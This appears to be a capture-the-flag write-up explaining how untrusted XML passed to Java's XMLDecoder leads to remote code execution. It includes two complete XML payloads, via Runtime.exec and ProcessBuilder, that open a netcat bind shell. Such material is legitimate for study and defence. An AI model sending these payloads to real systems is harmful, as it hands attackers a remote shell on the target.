xmldecoder-deserialization
XMLDecoder Deserialization
An application using Java’s XMLDecoder to unserialize user-controlled data can be exploited to achieve remote code execution (RCE).
The core issue is unsafe deserialization: the application blindly trusts XML input and passes it to XMLDecoder.readObject().
What Is XMLDecoder?
java.beans.XMLDecoder is a Java class that:
- Parses XML input
- Instantiates Java objects
- Invokes methods defined in the XML structure
Security problem:
If attackers can control the XML passed to XMLDecoder, they can:
- Instantiate arbitrary Java classes
- Invoke dangerous methods
- Achieve arbitrary command execution
Identifying the Vulnerability
When analyzing a document signature returned by the application, we immediately notice XMLDecoder syntax:
<?xml version="1.0" encoding="UTF-8"?>
<strong><java version="1.7.0_111" class="java.beans.XMLDecoder">
</strong> <object class="models.CTFSignature" id="CTFSignature0">
<void class="models.CTFSignature" method="getField">
<string>hash</string>
<void method="set">
<object idref="CTFSignature0"/>
<string>da39a3ee5e6b4b0d3255bfef95601890afd80709</string>
</void>
</void>
<void class="models.CTFSignature" method="getField">
<string>sig</string>
<void method="set">
<object idref="CTFSignature0"/>
<string>12a626d7c85bcc21d9f35302e33914104d8329a0</string>
</void>
</void>
</object>
</java>
Indicators:
<java class="java.beans.XMLDecoder"><object>,<void>,<array>elements- Method calls encoded directly in XML
This confirms XMLDecoder-based deserialization.
Exploitation
Achieve command execution by forcing XMLDecoder to:
- Obtain a
RuntimeorProcessBuilderobject - Execute an OS command
To translate this into XMLDecoder format:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0"><string>/usr/bin/nc</string></void>
<void index="1"><string>-l</string></void>
<void index="2"><string>-p</string></void>
<void index="3"><string>9999</string></void>
<void index="4"><string>-e</string></void>
<void index="5"><string>/bin/sh</string></void>
</array>
</void>
</object>
</java>
getRuntime()returns aRuntimeinstanceexec()is invoked during deserialization- Command execution happens before authentication or validation
Instead of Runtime.exec(), we can also use ProcessBuilder:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0"><string>/usr/bin/nc</string></void>
<void index="1"><string>-l</string></void>
<void index="2"><string>-p</string></void>
<void index="3"><string>9999</string></void>
<void index="4"><string>-e</string></void>
<void index="5"><string>/bin/sh</string></void>
</array>
<void method="start" id="process"/>
</void>
</java>
start() is automatically executed during XML decoding.